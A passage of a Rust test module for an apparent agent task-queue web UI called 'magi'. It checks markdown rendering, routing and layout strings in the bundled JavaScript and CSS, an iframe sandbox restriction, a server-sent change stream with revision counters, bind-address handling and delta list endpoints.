16859 "which?".to_owned(),
16860 String::new(),
16861 Vec::new(),
16862 );
16863 q.say("plain words").unwrap();
16864 q.reply("use **this**", Vec::new()).unwrap();
16865 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16866 let bodies = &v["thread_bodies_md"];
16867 assert_eq!(bodies.as_array().unwrap().len(), 2);
16868 assert!(!bodies[0].to_string().contains("strong"));
16869 assert!(bodies[1].to_string().contains("strong"));
16870 }
16871
16872 #[test]
16873 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
16874 let home = TempDir::new().unwrap();
16875 let store = ask::Questions::at(home.path().join("questions"));
16876 let mut q = Question::new(
16877 "run".to_owned(),
16878 "conduct".to_owned(),
16879 "conduct".to_owned(),
16880 "which?".to_owned(),
16881 String::new(),
16882 Vec::new(),
16883 );
16884 q.say("plain words").unwrap();
16885 q.thread.push(ask::Turn {
16886 who: ask::Who::Agent,
16887 body: "Settled as `merge`".to_owned(),
16888 at: jiff::Timestamp::now(),
16889 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
16890 });
16891 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16892 let notes = &v["thread_notes_md"];
16893 assert_eq!(notes.as_array().unwrap().len(), 2);
16894 assert!(notes[0].is_null());
16895 let text = notes[1].to_string();
16896 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
16897 assert!(APP_JS.contains("ask-turn-note"));
16898 }
16899
16900 #[test]
16901 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
16902 assert!(APP_JS.contains("function landView(run, raw) {"));
16906 assert!(
16907 APP_JS.contains(
16908 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
16909 )
16910 );
16911 assert!(APP_JS.contains("const pr = landView(run, raw);"));
16912 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
16913 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
16914 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
16915 }
16916
16917 #[test]
16918 fn live_runs_are_never_hidden_or_folded_as_superseded() {
16919 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
16920 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
16921 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
16922 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
16923 }
16924
16925 #[test]
16926 fn review_rounds_label_a_distinct_verified_head() {
16927 assert!(APP_JS.contains("round.verified_head"));
16928 assert!(APP_JS.contains("verified HEAD"));
16929 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
16930 }
16931
16932 #[test]
16933 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
16934 assert!(APP_JS.contains("blocked: { glyph:"));
16938 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
16939
16940 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
16944 assert!(
16945 APP_JS.contains(
16946 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
16947 ),
16948 "the note line must name what a blocked task is waiting on, not just that it is blocked"
16949 );
16950 assert!(APP_JS.contains("if (status === \"blocked\") {"));
16954
16955 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
16959 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
16960 assert!(
16961 APP_JS.contains("location.hash = \"#/questions\";"),
16962 "a question node must jump to the Questions screen, not pretend to be a task"
16963 );
16964
16965 assert!(APP_JS.contains("Resolved questions"));
16968 assert!(APP_JS.contains("r.answersList.append("));
16969 assert!(APP_CSS.contains(".task-answers"));
16970 {
16971 let start = APP_JS
16972 .find("function updateTalkTaskRow")
16973 .expect("updateTalkTaskRow");
16974 let body = &APP_JS[start..];
16975 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
16976 assert!(
16977 body.contains(
16978 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
16979 ),
16980 "a chat-filed task row must link to the task page"
16981 );
16982 assert!(
16983 !body.contains("#/runs/") && !body.contains("#/queue/"),
16984 "the row must not branch to a run or the queue card"
16985 );
16986 assert!(APP_CSS.contains(".talk-task-link"));
16987 }
16988 }
16989
16990 #[test]
16991 fn a_task_notification_links_to_the_task_page() {
16992 let start = APP_JS
16994 .find("function noticeLink(")
16995 .expect("noticeLink exists");
16996 let body = &APP_JS[start..];
16997 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
16998 assert!(
16999 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
17000 "a task notice's link must target the task page"
17001 );
17002 assert!(
17003 !body.contains("#/queue/"),
17004 "regression: the task link must not go back to the Backlog route"
17005 );
17006 assert!(
17007 APP_JS.contains(
17008 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
17009 ),
17010 "`#/tasks/<id>` must parse into the task route"
17011 );
17012
17013 assert!(
17015 APP_JS.contains(
17016 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
17017 ),
17018 "`#/queue/<id>` must parse into a route carrying that id"
17019 );
17020
17021 assert!(APP_JS.contains("state.queueFocus = route.id;"));
17025 assert!(APP_JS.contains("function consumeQueueFocus()"));
17026 assert!(APP_JS.contains("jumpToTask(id)"));
17027 }
17028
17029 #[test]
17032 fn chat_rows_put_the_title_alone_on_the_first_line() {
17033 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
17034 assert!(APP_CSS.contains(
17035 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
17036 ));
17037 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
17038 assert!(APP_JS.contains("class: \"badge talk-unread\""));
17039 }
17040
17041 #[test]
17042 fn run_rows_put_the_title_alone_on_the_first_line() {
17043 assert!(
17044 APP_CSS.contains(
17045 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
17046 )
17047 );
17048 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
17049 assert!(APP_JS.contains("class: \"card run-card\""));
17050 assert!(APP_JS.contains("class: \"repo run-id\""));
17051 }
17052
17053 #[test]
17057 fn wide_screens_show_list_and_preview_side_by_side() {
17058 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
17060 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
17061 assert!(APP_CSS.contains("main[data-split]"));
17062 assert!(APP_CSS.contains("body[data-split]"));
17063
17064 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
17066 assert!(
17067 APP_JS.contains(
17068 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
17069 )
17070 );
17071 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
17072 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
17073 assert!(INDEX_HTML.contains("id=\"split-empty\""));
17074
17075 assert!(APP_JS.contains("function markSelected() {"));
17077 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
17078 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
17079 assert!(
17081 APP_CSS.contains(
17082 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
17083 )
17084 );
17085
17086 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
17088 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
17089 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
17090 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
17091
17092 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
17096 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
17097 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
17098 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
17099
17100 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
17102 }
17103
17104 #[test]
17105 fn panel_sandbox_carries_exactly_popups() {
17106 let needle = "sandbox: \"";
17107 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
17108 assert_eq!(
17109 matches.len(),
17110 1,
17111 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
17112 );
17113 let start = matches[0].0 + needle.len();
17114 let end = APP_JS[start..]
17115 .find('"')
17116 .expect("sandbox attribute value must be terminated by a closing quote");
17117 let val = &APP_JS[start..start + end];
17118 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
17119 let expected: std::collections::BTreeSet<&str> =
17120 ["allow-popups", "allow-popups-to-escape-sandbox"]
17121 .into_iter()
17122 .collect();
17123 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
17124 assert!(
17125 !tokens.contains("allow-scripts"),
17126 "allow-scripts must never be present in sandbox"
17127 );
17128 assert!(
17129 !tokens.contains("allow-same-origin"),
17130 "allow-same-origin must never be present in sandbox"
17131 );
17132 }
17133
17134 #[test]
17135 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
17136 assert!(
17145 APP_JS.contains(
17146 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
17147 ),
17148 "the search-clearing branch must run before state.queueFocus is cleared, or the \
17149 recursive renderQueue() call has nothing left to jump to"
17150 );
17151 assert!(
17152 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
17153 "state.queueFocus must be cleared only once the jump has landed, so a card that \
17154 arrives later still gets it"
17155 );
17156 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
17157 assert!(APP_JS.contains("is not in the current Backlog."));
17158 assert!(APP_JS.contains("li.card[data-task-id=\""));
17159 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
17160 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
17161 assert!(APP_CSS.contains(".card-permalink"));
17162 assert!(APP_CSS.contains(".queue-focus-status"));
17163 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
17164 }
17165
17166 #[test]
17167 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
17168 assert!(
17176 APP_JS.contains(
17177 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
17178 ),
17179 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
17180 );
17181 }
17182
17183 #[test]
17184 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
17185 assert!(
17186 APP_JS.contains("round.verified_head !== round.head"),
17187 "a round that verified an earlier commit must be visibly distinct from one that \
17188 verified the head reviewers are looking at now"
17189 );
17190 assert!(
17191 APP_JS.contains("round.verified_at"),
17192 "when a check ran must be on the wire, not just which commit"
17193 );
17194 assert!(
17195 APP_JS.contains("resource_blocked"),
17196 "a command magi never got to run (shared build cache contention) must not render \
17197 the same as a command that ran and failed"
17198 );
17199 }
17200
17201 #[test]
17202 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
17203 assert!(
17211 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
17212 "every KPI tile built through statusTile() must route its click through \
17213 openRunsFiltered, the single place that sets the Runs filter"
17214 );
17215 for (label, status) in [
17216 ("Merged", "merged"),
17217 ("Ready", "ready"),
17218 ("Blocked", "blocked"),
17219 ("Stalled", "stalled"),
17220 ] {
17221 let call = format!("statusTile(\"{label}\", t.{status}, ");
17222 assert!(
17223 APP_JS.contains(&call),
17224 "expected the {label} KPI tile built via {call}..."
17225 );
17226 assert!(
17227 APP_JS.contains(&format!("status === \"{status}\"")),
17228 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
17229 compare a run against, not one invented only for the stats tile"
17230 );
17231 }
17232 assert!(
17233 APP_JS.contains("function openRunsFiltered(status)"),
17234 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
17235 );
17236 assert!(
17237 APP_JS.contains(
17238 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
17239 ),
17240 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
17241 );
17242 assert!(
17250 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
17251 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
17252 hashchange event that may never fire"
17253 );
17254 }
17255
17256 #[test]
17257 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
17258 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
17264 assert!(
17265 APP_JS.contains(
17266 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
17267 ),
17268 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
17269 guard for an incompatible tree section"
17270 );
17271 }
17272
17273 #[test]
17274 fn every_stats_queue_tile_names_a_real_queue_section() {
17275 assert!(
17281 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
17282 "every queue tile built through sectionTile() must route its click through \
17283 openQueueSectionFocus"
17284 );
17285 for key in ["upnext", "running", "done", "held", "blocked"] {
17286 assert!(
17287 APP_JS.contains(&format!("{{ key: \"{key}\",")),
17288 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
17289 );
17290 }
17291 for line in [
17295 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
17296 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
17297 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
17298 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
17299 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
17300 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
17301 ] {
17302 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
17303 }
17304 }
17305
17306 #[test]
17307 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
17308 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
17315 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
17316 assert!(APP_JS.contains("function revealQueueSection(details)"));
17317 assert!(
17318 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
17319 "renderQueue() must consume both focus channels on every pass"
17320 );
17321 assert!(
17322 APP_JS.contains(
17323 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
17324 ),
17325 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
17326 the recursive renderQueue() call has nothing left to reveal"
17327 );
17328 assert!(
17329 APP_JS.contains(
17330 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
17331 ),
17332 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
17333 );
17334 assert!(
17342 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
17343 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
17344 hashchange event that may never fire"
17345 );
17346 }
17347
17348 #[tokio::test]
17349 async fn the_change_stream_announces_the_current_revisions_on_connect() {
17350 let f = Fixture::start().await;
17351
17352 let mut socket = tokio::net::TcpStream::connect(f.addr)
17353 .await
17354 .expect("connect");
17355 socket
17356 .write_all(
17357 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
17358 )
17359 .await
17360 .expect("write request");
17361
17362 let mut seen = String::new();
17365 let mut buf = [0u8; 1024];
17366 while !seen.contains("event: change") {
17367 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
17368 .await
17369 .expect("the stream must speak within five seconds")
17370 .expect("read");
17371 assert!(read > 0, "the server closed the change stream: {seen}");
17372 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
17373 }
17374
17375 assert!(
17376 seen.to_lowercase()
17377 .contains("content-type: text/event-stream"),
17378 "the browser only reconnects automatically for a real SSE stream: {seen}"
17379 );
17380 let data = seen
17381 .lines()
17382 .find_map(|l| l.strip_prefix("data:"))
17383 .expect("a data line");
17384 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
17385 assert!(
17386 payload["queue_rev"].is_u64()
17387 && payload["runs_rev"].is_u64()
17388 && payload["questions_rev"].is_u64()
17389 && payload["talks_rev"].is_u64()
17390 && payload["notifications_rev"].is_u64()
17391 && payload["loop_rev"].is_u64(),
17392 "the client needs one revision per store to know what to refetch, \
17393 and `talks_rev` is the only notification a standing talk gets - a \
17394 phone whose radio slept through a turn learns about it here, as \
17395 does one whose operator started the loop from another device: \
17396 {payload}"
17397 );
17398
17399 let health = f.get("/api/health").await.json();
17406 for key in [
17407 "queue_rev",
17408 "runs_rev",
17409 "questions_rev",
17410 "talks_rev",
17411 "notifications_rev",
17412 "loop_rev",
17413 ] {
17414 assert!(
17415 health[key].is_u64(),
17416 "health is the change stream's fallback and is missing `{key}`: {health}"
17417 );
17418 }
17419 }
17420
17421 #[tokio::test]
17422 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
17423 let f = Fixture::start().await;
17424 let before = f.get("/api/health").await.json()["talks_rev"]
17425 .as_u64()
17426 .expect("talks_rev");
17427
17428 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
17429 std::thread::sleep(Duration::from_millis(10));
17430 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
17431 on_disk.turns.push(crate::talk::Turn {
17432 sender: None,
17433 breaks: Some(Vec::new()),
17434 messages: Vec::new(),
17435 posted_by: None,
17436 who: crate::talk::Who::Operator,
17437 body: "a new turn".to_owned(),
17438 at: Timestamp::now(),
17439 attachments: Vec::new(),
17440 usage: None,
17441 });
17442 f.talks().put(&mut on_disk).expect("record a turn");
17443
17444 let after = f.get("/api/health").await.json()["talks_rev"]
17445 .as_u64()
17446 .expect("talks_rev");
17447 assert_ne!(
17448 before, after,
17449 "a phone must be able to notice a talk's reply without polling every store"
17450 );
17451 }
17452
17453 #[test]
17454 fn bind_reads_back_from_the_spelling_the_cli_prints() {
17455 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
17459 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
17460 }
17461 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
17462 assert!("everywhere".parse::<Bind>().is_err());
17463 }
17464
17465 #[test]
17466 fn an_explicit_bind_address_is_taken_verbatim() {
17467 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
17468
17469 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
17470
17471 assert_eq!(addr, asked);
17472 assert!(
17473 warning.is_none(),
17474 "an operator who named an address gets no lecture"
17475 );
17476 }
17477
17478 #[test]
17479 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
17480 let (addr, warning) = resolve_bind(&Bind::Auto);
17481
17482 match addr {
17489 IpAddr::V4(ip) if is_tailnet(&ip) => {
17490 assert!(warning.is_none(), "a tailnet address needs no warning");
17491 }
17492 other => {
17493 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
17494 let warning = warning.expect("a fallback has to explain itself");
17495 assert!(
17496 warning.contains("127.0.0.1") && warning.contains("local-only"),
17497 "the warning says what happened and what it costs: {warning}"
17498 );
17499 }
17500 }
17501 }
17502
17503 #[test]
17504 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
17505 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
17509 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
17510 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
17511 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
17512 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
17513 }
17514
17515 #[test]
17516 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
17517 let ids = vec![
17518 "20260902-140501-aaaa".to_owned(),
17519 "20260902-140502-aabb".to_owned(),
17520 ];
17521
17522 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
17523 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
17524 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
17525
17526 assert_eq!(missing.status, StatusCode::NOT_FOUND);
17527 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
17528 assert_eq!(short, "20260902-140502-aabb");
17529 }
17530 #[tokio::test]
17531 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
17532 let fx = Fixture::start().await;
17538 let id = panel(
17539 &fx,
17540 "<img src=\"shot.png\">",
17541 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
17542 );
17543
17544 let doc = fx
17546 .get(&format!("/api/questions/{id}/panel/index.html"))
17547 .await;
17548 assert_eq!(doc.status, 200, "{}", doc.body);
17549 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
17550
17551 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
17552 assert_eq!(sibling.status, 200, "{}", sibling.body);
17553 assert_eq!(sibling.header("content-type"), Some("image/png"));
17554 assert_eq!(
17555 sibling.header("content-security-policy"),
17556 Some(PANEL_CSP),
17557 "the sibling route must carry the same policy as the asset route"
17558 );
17559
17560 assert_eq!(
17563 fx.head(&format!("/api/questions/{id}/panel")).await.status,
17564 200
17565 );
17566 }
17567
17568 #[test]
17569 fn delta_stamps_cover_add_update_remove_and_noop() {
17570 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
17571 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
17572 let delta = diff_stamps(&before, &after, 42);
17573 assert_eq!(delta.base, 42);
17574 assert_eq!(delta.changed, ["b", "c"]);
17575 assert_eq!(delta.removed, ["a"]);
17576 let same = diff_stamps(&after, &after, 43);
17577 assert!(same.changed.is_empty() && same.removed.is_empty());
17578 assert_ne!(stamps_revision(&before), stamps_revision(&after));
17579 let nanos: Stamps = [("b".into(), (2, 20))].into();
17580 let same_ms: Stamps = [("b".into(), (3, 20))].into();
17581 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
17582 assert_eq!(stamps_revision(&Stamps::new()), 0);
17583 }
17584
17585 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
17586 std::fs::create_dir_all(home.join("runs")).unwrap();
17587 Arc::new(Ui::new(
17588 Queue::at(home.join("queue")),
17589 Questions::at(home.join("questions")),
17590 Talks::at(home.join("talks")),
17591 home.join("runs"),
17592 home.to_owned(),
17593 PathBuf::from("/repo/magi"),
17594 ))
17595 }
17596
17597 #[tokio::test]
17598 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
17599 let home = TempDir::new().unwrap();
17600 let ui = delta_test_ui(home.path());
17601 let mut task = Task::new(
17602 "stream task".into(),
17603 "text".into(),
17604 PathBuf::from("/repo"),
17605 Source::Human,
17606 );
17607 ui.queue.put(&mut task).unwrap();
17608 let response = events(State(ui.clone())).await.into_response();
17609 let mut stream = response.into_body().into_data_stream();
17610 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
17611 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
17612 .await
17613 .unwrap()
17614 .unwrap()
17615 .unwrap();
17616 let text = String::from_utf8(chunk.to_vec()).unwrap();
17617 let data = text
17618 .lines()
17619 .find_map(|line| {
17620 line.strip_prefix("data: ")
17621 .or_else(|| line.strip_prefix("data:"))
17622 })
17623 .unwrap();
17624 serde_json::from_str(data).unwrap()
17625 }
17626 let initial = change(&mut stream).await;
17627 assert!(initial.get("queue_delta").is_none());
17628 task.instruction.push_str(" changed");
17629 ui.queue.put(&mut task).unwrap();
17630 let updated = change(&mut stream).await;
17631 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
17632 assert_eq!(
17633 updated["queue_delta"]["changed"],
17634 serde_json::json!([task.id])
17635 );
17636 assert_eq!(
17637 updated["queue_rev"].as_u64(),
17638 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
17639 );
17640 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
17641 let removed = change(&mut stream).await;
17642 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
17643 assert_eq!(
17644 removed["queue_delta"]["removed"],
17645 serde_json::json!([task.id])
17646 );
17647 }
17648
17649 #[tokio::test]
17650 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
17651 let home = TempDir::new().unwrap();
17652 let ui = delta_test_ui(home.path());
17653 let queue = ui.queue.clone();
17654 let query = |ids: Option<&str>| {
17655 Query(ListQuery {
17656 limit: Some(2),
17657 ids: ids.map(str::to_owned),
17658 })
17659 };
17660 let mut root = Task::new(
17661 "root".into(),
17662 "instruction".into(),
17663 PathBuf::from("/repo"),
17664 Source::Human,
17665 );
17666 queue.put(&mut root).unwrap();
17667 let mut blocked = Task::new(
17668 "blocked".into(),
17669 "instruction".into(),
17670 PathBuf::from("/repo"),
17671 Source::Human,
17672 );
17673 blocked.block(vec![root.id.clone()], None);
17674 queue.put(&mut blocked).unwrap();
17675 let whole =
17676 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
17677 .unwrap();
17678 let subset = serde_json::to_value(
17679 queue_list(State(ui.clone()), query(Some(&root.id)))
17680 .await
17681 .unwrap()
17682 .0,
17683 )
17684 .unwrap();
17685 assert_eq!(whole, subset, "requested root plus its blocked dependent");
17686 let blockers = serde_json::to_value(
17687 queue_list(State(ui.clone()), query(Some("")))
17688 .await
17689 .unwrap()
17690 .0,
17691 )
17692 .unwrap();
17693 assert_eq!(blockers.as_array().unwrap().len(), 1);
17694 assert_eq!(blockers[0]["id"], blocked.id);
17695 assert_eq!(
17696 blockers[0]["waits_on"],
17697 whole
17698 .as_array()
17699 .unwrap()
17700 .iter()
17701 .find(|row| row["id"] == blocked.id)
17702 .unwrap()["waits_on"]
17703 );
17704
17705 for id in [
17706 "20260902-140501-aaaa",
17707 "20260902-140502-bbbb",
17708 "20260902-140503-cccc",
17709 ] {
17710 write_run(&ui.runs, id, RunStatus::Merged);
17711 }
17712 let old = serde_json::to_value(
17713 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
17714 .await
17715 .unwrap()
17716 .0,
17717 )
17718 .unwrap();
17719 assert!(
17720 old.as_array().unwrap().is_empty(),
17721 "older updates must not enter the window"
17722 );
17723 let newest = serde_json::to_value(
17724 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
17725 .await
17726 .unwrap()
17727 .0,
17728 )
17729 .unwrap();
17730 assert_eq!(newest.as_array().unwrap().len(), 1);
17731 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
17732
17733 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
17734 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
17735 let talks = serde_json::to_value(
17736 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
17737 .await
17738 .unwrap()
17739 .0,
17740 )
17741 .unwrap();
17742 assert_eq!(talks.as_array().unwrap().len(), 1);
17743 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
17744 assert_eq!(
17745 serde_json::to_value(
17746 talks_list(State(ui.clone()), query(Some("")))
17747 .await
17748 .unwrap()
17749 .0
17750 )
17751 .unwrap(),
17752 serde_json::json!([])
17753 );
17754 }
17755
17756 #[tokio::test]
17757 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
17758 async fn delta_payload_benchmark() {
17759 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
17760 let ui = delta_test_ui(&home);
17761 let query = |ids: Option<String>| {
17762 Query(ListQuery {
17763 limit: Some(50),
17764 ids,
17765 })
17766 };
17767 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
17768 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
17769 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
17770 let queue_id = queue
17771 .iter()
17772 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
17773 .unwrap_or(&queue[0])
17774 .task
17775 .id
17776 .clone();
17777 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
17778 .await
17779 .unwrap()
17780 .0;
17781 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
17782 .await
17783 .unwrap()
17784 .0;
17785 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
17786 .await
17787 .unwrap()
17788 .0;
17789 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
17790 eprintln!(
17791 "DELTA_PAYLOAD {}",
17792 serde_json::json!({
17793 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
17794 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
17795 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
17796 "counts": [queue.len(), runs.len(), talks.len()],
17797 "blocked": queue_delta.len() - 1,
17798 })
17799 );
17800 }
17801
17802 #[test]
17803 fn runs_revision_moves_when_deleting_an_older_run() {
